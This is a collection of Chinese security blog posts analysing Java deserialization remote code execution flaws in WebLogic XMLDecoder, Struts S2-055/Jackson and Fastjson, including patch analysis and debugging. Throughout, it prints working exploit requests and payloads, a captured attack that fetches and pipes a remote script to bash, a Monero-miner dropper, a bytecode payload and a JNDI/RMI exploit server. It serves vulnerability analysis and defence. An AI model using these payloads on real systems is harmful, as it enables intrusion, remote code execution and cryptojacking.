这个漏洞(CVE-2017-3248)就是利用rmi机制的缺陷，通过JRMP协议达到执行任意反序列化payload的目的。利用步骤可以分为两步，第一步建立JRMP监听端口，第二步执行反序列化操作，其反序列化内容指向外部的JRMP监听端口，这样在反序列的过程中就会从远程JRMP监听端口加载内容并执行序列化操作，详细的利用工具可以使用ysoserial。

###4.2 CVE-2017-10352 分析

这个漏洞是由于XMLDecoder这个缺陷库存在代码执行问题，同样也是由于被黑产利用而被大家广泛得知。其实在CVE-2017-3506中，Weblogic官方已经做了一次修补，只是当时的修补不够彻底，后来有研究员给Weblogic提供了绕过的PoC，Weblogic官方再次完整修补。同时这个PoC也被泄露，非常多的用户中招。

4.2.1 补丁

补丁的核心代码如下：

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。

4.2.2 分析

根据补丁大概就得就能猜出相应的PoC，具体如下：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              。。。。
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

在动态调试过程中这个调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给readHeadOld方法，也就是请求中soapenv:Header包裹的部分，这一部分最终会交给XMLDecoder，XMLDecoder完成数据到对象的转换，即会执行恶意代码。并且wls-wsat是一个特权应用，无需用户名密码验证，所以危害非常大。
更多详情分析可参考文档 6 , 同时绿盟科技这篇报告的英文版还被Java-Deserialization-Cheat-Sheet收录。

4.2.3 黑产利用

在绿盟的IPS设备或者蜜罐设备就能看到很多这种利用Weblogic XMLDecoder（CVE-2017-10352）进行黑产利用的特征，下面是绿盟IPS抓到的示例，具体如下：

1
2
3

srcip为173.212.217.181
POST /wls-wsat/CoordinatorPortType HTTP/1.1////0d////0aHost: 58.210.×.×:8001////0d////0aAccept-Encoding: identity////0d////0aContent-Length: 983////0d////0aAccept-Language: zh-CN,zh;q=0.8////0d////0aAccept: */*////0d////0aUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0////0d////0aAccept-Charset: GBK,utf-8;q=0.7,*;q=0.3////0d////0aConnection: keep-alive////0d////0aReferer: http://www.baidu.com////0d////0aCache-Control: max-age=0////0d////0aContent-Type: text/xml////0d////0a////0d////0a<soapenv:Envelope xmlns:soapenv= http://schemas.xmlsoap.org/soap/envelope/ >////0a          <soapenv:Header>////0a            <work:WorkContext xmlns:work= http://bea.com/2004/06/soap/workarea/ >////0a                <java version= 1.8.0_131  class= java.beans.XMLDecoder >////0a                  <void class= java.lang.ProcessBuilder >////0a                    <array class= java.lang.String  length= 3 >////0a                      <void index= 0 >////0a                        <string>/bin/bash</string>////0a                      </void>////0a                      <void index= 1 >////0a                        <string>-c</string>////0a                      </void>////0a                      <void index= 2 >////0a                        <string>wget -O - 191.101.180.74/robots.txt|bash</string>////0a                      </void>////0a                    </array>////0a                  <void method= start /></void>////0a                </java>////0a              </work:WorkContext>////0a            </soapenv:Header>////0a          <soapenv:Body/>////0a        </soapenv:Envelope>

对于linux系统会去191.101.180.74下载一个bash脚本执行挖坑行为（门罗币）。这个robots.txt的核心内容如下：

wget -q http://45.123.190.178/Silence -O /tmp/Silence
curl -o /tmp/Silence http://45.123.190.178/Silence
else
exit 0;
fi
chmod +x /tmp/Silence
nohup /tmp/Silence -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu -p x -R 1 &>>/dev/null &
sleep 10
rm -rf /tmp/Silence

对srcip：173.212.217.181溯源跟踪，从绿盟科技威胁情报中心NTI中的数据也能看出，该IP从2017年8月份开始，一直被用于特定漏洞扫描以便发现更多具有脆弱性的主机。

#总结
从OWASP 2017 top ten报告中可以看出反序列化是一个业内都开始关注重视的漏洞类型，一个原因就是该漏洞很多时候都是通过黑名单的方式的修复，这就导致了层出不穷的绕过，从Jackson，fastjson，weblogic一见端倪，都是修复，绕过，再修复，再绕过，没有尽头。另外一个原因就是该漏洞的危害非常大，通常都是RCE，一个PoC直接获取系统权限，不管是黑产，灰产，开发，运维还有白帽安全人员都非常重视该类型的漏洞。从系统的重要性来看，国内很多商业系统都是基于Java框架开发，这些中间件或者Web容器一旦出现漏洞，整个系统都变得不堪一击，可能造成不可挽回的影响。
对于反序列漏洞的防御，业内也是一个难题，首先得确保所有的依赖库和容器已经更新到最新版本，这样能防止已知漏洞的攻击。另外绿盟科技的IPS，WAF都已经具备对这些漏洞的防护能力，更多的防护策略请参考绿盟科技下一篇关于反序列化漏洞防御的文档。

Weblogic XMLDecoder RCE分析

发表于 2017-12-23 | 分类于 Java | | 阅读次数

挖矿确实太火，现在只要存在RCE漏洞就会有矿机的身影，这不weblogic又火了一把。这次矿机使用的PoC是wls wsat模块的RCE漏洞，这个漏洞的核心就是XMLDecoder的反序列化漏洞，关于XMLDecoder反序列化的漏洞在2013年就被广泛传播，这次的漏洞是由于官方修复不完善导致被绕过。

1 补丁分析

首先来看下weblogic的历史补丁，四月份补丁通告：
http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
这里面主要关注CVE-2017-3506，这是web service模块的漏洞。

10月份补丁通告：
https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html
主要关注CVE-2017-10271，是WLS Security组建的漏洞，英文描述如下：
A remote user can exploit a flaw in the Oracle WebLogic Server WLS Security component to gain elevated privileges [CVE-2017-10271].这是CVE-2017-10271的描述信息。
测试的poc如下：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              。。。。
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

对于poc中uri中/wls-wsat/CoordinatorPortType 可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri
执行的效果图如下：

跟踪到底这还是XMLDecoder的漏洞，下面来分析补丁代码：首先来看3506的补丁的分析，在文件weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中，
添加了validate方法，方法的实现如下：

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

简单来说就是在解析xml的过程中，如果Element字段值为Object就抛出异常，这简直太脑残了，所以马上就有了CVE-2017-10271。我前段时间分析Oracle Weblogic十月份的补丁的时候看到WorkContextXmlInputAdapter 相关代码时只关注了这块dos的漏洞，没看到10271添加的对new，method，void的去除，还想当然的以为自己找到0day了呢。因为可以通过其他方式绕过，比如典型的就是将object改为void，这是挖矿的人采用的poc，我也想到了，当然也还可以通过new关键字来创建反序列化执行的poc，下面简单示例一下通过new关键字来执行命令：

<java version="1.4.0" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>calc</string><method name="start" />
    </new>
</java>

至于为什么XMLDecoder在解析的过程中能执行代码呢，大家可以以如下测试用例进行测试：

<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <void class="com.sun.rowset.JdbcRowSetImpl">
    <void property="dataSourceName">
        <string>rmi://localhost:1099/Exploit</string>
    </void>
    <void property="autoCommit">
        <boolean>true</boolean>
    </void>
    </void>
</java>

是不是觉得变种太多，写法太灵活了，比XStream远程执行代码的要求还低。根据如上poc首先生成JdbcRowSetImpl的实例，接着调用该实例的set方法来初始化该实例的属性，当调用完setAutoCommit接口的时候就会根据dataSourceName的值去远程加载一个类初始化。

针对上面的PoC，官方放出了10271的补丁，补丁如下：

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。如下的测试用例就不可执行：

<java version="1.4.0" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>calc</string><method name="start" />
    </new>
</java>

2 动态调试

为了更好的理解这个漏洞，我们通过本地的weblogic动态调试一番，PoC还是前面提到的，具体的调用栈如下：

调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给readHeadOld方法。

public NextAction processRequest(Packet var1) {
   this.isUseOldFormat = false;
   if(var1.getMessage() != null) {
      HeaderList var2 = var1.getMessage().getHeaders();
      Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
      if(var3 != null) {
         this.readHeaderOld(var3);
         this.isUseOldFormat = true;
      }
      Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
      if(var4 != null) {
         this.readHeader(var4);
      }
   }
protected void readHeaderOld(Header var1) {
   try {
      XMLStreamReader var2 = var1.readHeader();
      var2.nextTag();
      var2.nextTag();
      XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
      ByteArrayOutputStream var4 = new ByteArrayOutputStream();
      XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
      var3.bridge(var2, var5);
      var5.close();
      WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
      this.receive(var6);
   } catch (XMLStreamException var7) {
      throw new WebServiceException(var7);
   } catch (IOException var8) {
      throw new WebServiceException(var8);
   }
}

在上述代码中ByteArrayOutputStream var4会被填充为PoC实际执行部分代码即：

<java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
             。。。
          <void method="start"/></void>
        </java>

接着这部分xml会被传递到XMLDecoder的readObject方法中从而导致反序列化远程代码执行。

总之，尽快打上Weblogic 10月份的补丁。

S2-055漏洞环境搭建与分析

发表于 2017-12-06 | 分类于 Struts2 | | 阅读次数

1 综述

2017年12月1日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞，漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知，其实这里是远程代码执行。
相关链接如下：
https://cwiki.apache.org/confluence/display/WW/S2-055
影响版本：
Struts 2.5 - Struts 2.5.14
规避方案
立即升级到Struts 2.5.14.1或者升级com.fasterxml.jackson到2.9.2版本

2 技术分析

从官方的描述来看，这个就是Jackson的反序列化漏洞，由于Jackson在处理反序列的时候需要支持多态，所以在反序列的时候通过指定特定的类来达到实现多态的目的。这个特性默认是不开启的，所以在Struts2中影响也是有限。

2.1 Jackson多态类型绑定

为了让Jackson支持多态，Jackson官方提供了几种方式，下面介绍两种常用方式（https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization）
第一种：全局Default Typing机制，启用代码如下：

1 2	objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

这是一个全局开关，打开之后，在持久化存储数据时会存储准确的类型信息。

第二种：为相应的class添加@JsonTypeInfo注解

1
2
3

public ObjectMapper enableDefaultTyping(DefaultTyping dti) {
    return enableDefaultTyping(dti, JsonTypeInfo.As.WRAPPER_ARRAY);
}

通过阅读源码也能发现，全局Default Typing机制也是通过JsonTypeInfo来实现的。下面来看一个简单的示例：

1
2

@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
class Animal { }  在超类Animal上加上一段@JsonTypeInfo，所有Animal的子类反序列化都可以准确的对于子类型。

这段注解什么意思呢？JsonTypeInfo.Id.CLASS是指序列化或者反序列时都是全名称，如org.codehaus.jackson.sample.Animal,JsonTypeInfo.As.WRAPPER_ARRAY 意为使用数组表示，如

[
    "com.fasterxml.beans.EmployeeImpl",
    {
       ... // actual instance data without any metadata properties
    }
]

2.2 S2-055 环境搭建

了解了Jackson的相关多态的特性之后，为了触发反序列化漏洞，必须开启这个特性，再来看看Struts2的相关代码。由于Jackson不是Struts2 json格式的默认处理句柄，首先修改struts.xml,添加如下代码：

1
2

<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="jackson" class="org.apache.struts2.rest.handler.JacksonLibHandler"/>
    <constant name="struts.rest.handlerOverride.json" value="jackson"/>

这样Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理，再来分析下JacksonLibHandler的代码，如下所示：

public void toObject(Reader in, Object target) throws IOException {
        mapper.configure(SerializationFeature.WRITE_NULL_MAP_VALUES, false);
        ObjectReader or = mapper.readerForUpdating(target);
        or.readValue(in);
    }

上述代码是处理json反序列的逻辑，很显然没有启用全局Default Typing机制，那么为了触发这个漏洞只能是通过第二种支持多态的方式来打开这个特性。这个漏洞和S2-052非常类似，都是引用的第三方库存在缺陷导致的漏洞，这样的案例数不胜数，在Java生态中简直就是一个灾难，第三方依赖实在太多。为了分析这个漏洞，我们还是拿052的环境来做测试，也就是rest-show-case，环境搭建可以参考http://xxlegend.com/2017/09/06/S2-052%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%98%E6%96%B9%E7%BC%93%E8%A7%A3%E6%8E%AA%E6%96%BD%E6%97%A0%E6%95%88%E9%AA%8C%E8%AF%81/，具体的修改如下：

public class Order {
    public String id;
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
    public Object clientName;
    public int amount;
    
    public Order() {}
    
    public Order(String id, Object clientName, int amount) {
        super();
        this.id = id;
        this.clientName = clientName;
        this.amount = amount;
    }
    public void setClientName(Object clientName) {
        this.clientName = clientName;
    }

修改部分主要在@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName; 一个在clientName上方添加注解，打开支持多态的特性，这样我们就能指定clientName的类型；另一个是将clientName的类型改为Object类型，这样就避免了类型不匹配或者不是其子类的错误。相应地修改setClientName方法的传入类型为Object。

2.3 PoC构造

Jackson已经暴露了很多种PoC在外，下面我们拿com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来做示例，具体的PoC如下：

POST /orders HTTP/1.1
Host: 192.168.3.103:8080
Proxy-Connection: keep-alive
Content-Length: 2157
Cache-Control: max-age=0
Origin: http://192.168.3.103:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6
Cookie: csrftoken=LYokAxo4ABMl0wKhLhkdl1x5I0AQQDE8E3L1zcc3A1YVybHMEHkOWq01VqdnfJEm; JSESSIONID=7367044F7C24B8BE7CDE5444E28E2BF4
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],"transletName":"a.b","outputProperties":{}}]}

首先将ContentType设置为application/json，这样请求才会丢给Jackson处理。这里最核心的部分就是clientName字段了，必须和前面注解部分绑定，也就是这个字段必须有，很显然，这个漏洞不具有通用性，首先得有一个Object类型的字段，其次这个字段还必须用注解JsonTypeInfo修饰。这种情况应该少之又少。下面给个计算器的图吧。

基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

发表于 2017-12-06 | 分类于 Java | | 阅读次数

背景

这篇文章主要是基于我在看雪2017开发者峰会的演讲而来，由于时间和听众对象的关系，在大会上主要精力都集中在反序列化的防御上。前面的Fastjson PoC的构造分析涉及得很少，另外我在5月份分享的Fastjson Poc构造与分析限制条件太多，所以写下这篇文章。

Fastjson 使用

Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法，号称Java语言中最快的JSON库。Fastjson接口简单易用，广泛使用在缓存序列化、协议交互、Web输出、Android客户端
提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址：https://github.com/alibaba/fastjson。那我们看下如何使用？首先定义一个User.java,代码如下：

public class User {
    private Long   id;
    private String name;
    public Long getId() {
        return id;
    }
    public void setId(Long id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

序列化的代码如下：

import com.alibaba.fastjson.JSON;
User guestUser = new User();
guestUser.setId(2L);
guestUser.setName("guest");
String jsonString = JSON.toJSONString(guestUser);
System.out.println(jsonString);

反序列化的代码示例：

1 2	String jsonString = "{\"name\":\"guest\",\"id\":12}"; User user = JSON.parseObject(jsonString, User.class);

上述代码的parseObject也可以直接用parse接口。

Fastjson安全特性

反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理，@type可以指定反序列化任意类，调用其set，get，is方法。

上图则是Fastjson反序列框架图。JSON门面类，提供一些静态方法，如parse，parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig，主要保存一些相关配置信息。也引用了JSONLexerBase，这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关，将一些类加到黑名单中，后续我也给它报过bypass，fastjson也一并修复。

JNDI

JNDI即Java Naming and Directory Interface，翻译成中文就Java命令和目录接口，2016年的blackhat大会上web议题重点讲到，但是对于json这一块没有涉及。JNDI提供了很多实现方式，主要有RMI，LDAP，CORBA等。我们可以看一下它的架构图
!(2)[/images/JdbcRowSetImpl_2.png]，JNDI提供了一个统一的外部接口，底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象，即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的，可以将其参数指向我们控制的RMI服务，切换到我们控制的RMI/LDAP服务等等。

Registry registry = LocateRegistry.createRegistry(1099);
//http://xxlegend.com/Exploit.class
Reference reference = new javax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind(“Exploit", referenceWrapper);

这段代码主要讲到了在1099端口上创建一个RMI服务，RMI的内容则是通过外部的http服务地址获取。在客户端则是将lookup的地址指向刚才我们创建的RMI服务，即能达到远程代码执行的目的。可以使用如下的请求端代码进行测试：

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
Object local_obj = RicterCctx.lookup("rmi://xxlegend.com/Exploit");

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数形成RCE。

PoC构造与分析

介绍的背景有点多，正式切入我们的正题，基于JdbcRowSetImpl的PoC是如何构造和执行的。在今年5月份的时候，我也公布了Fastjson基于TemplateImpl的PoC的，但是限制还比较多，需要打开SupportNonPublic开关，这个场景是比较少见的，详细的分析见我的博客http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/，后续ricterz也作了一篇分析：https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up。
在看雪峰会上我提到了好几种PoC，下面我简单的给这些PoC做个分类：
1，基于TemplateImpl
2，基于JNDI Bean Property类型
3，基于JNDI Field类型

今天主讲基于JNDI Bean Property这个类型，这个类型和JNDI Field类型的区别就在于Bean Property需要借助setter，getter方法触发，而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean Property分类之下，其他的PoC后续再讲。这个Poc相对于TemplateImpl却没有一点儿限制，当然java在JDK 6u132, 7u122, or 8u113补了是另外一码事。 PoC具体如下：

1	{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}

由于这个PoC是基于JNDI，下面我们简单构造一下，首先是服务端的代码：

public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://xxlegend.com/Exploit.class即可
        Reference reference = new Reference("Exloit",
                "Exploit","http://xxlegend.com/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

rmi服务端需要一个Exploit.class放到rmi指向的web服务器目录下，这个Exploit.class是一个factory，通过Exploit.java编译得来，在JNDI执行的过程会被初始化。如下是Exploit.java的代码：

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

服务端构造好之后，下面来看java应用执行的代码，示例如下：

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
//                " \"autoCommit\":true}";
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

完整的代码已经放到


PoC调用栈如下
![3](/images/JdbcRowSetImpl_3.png)
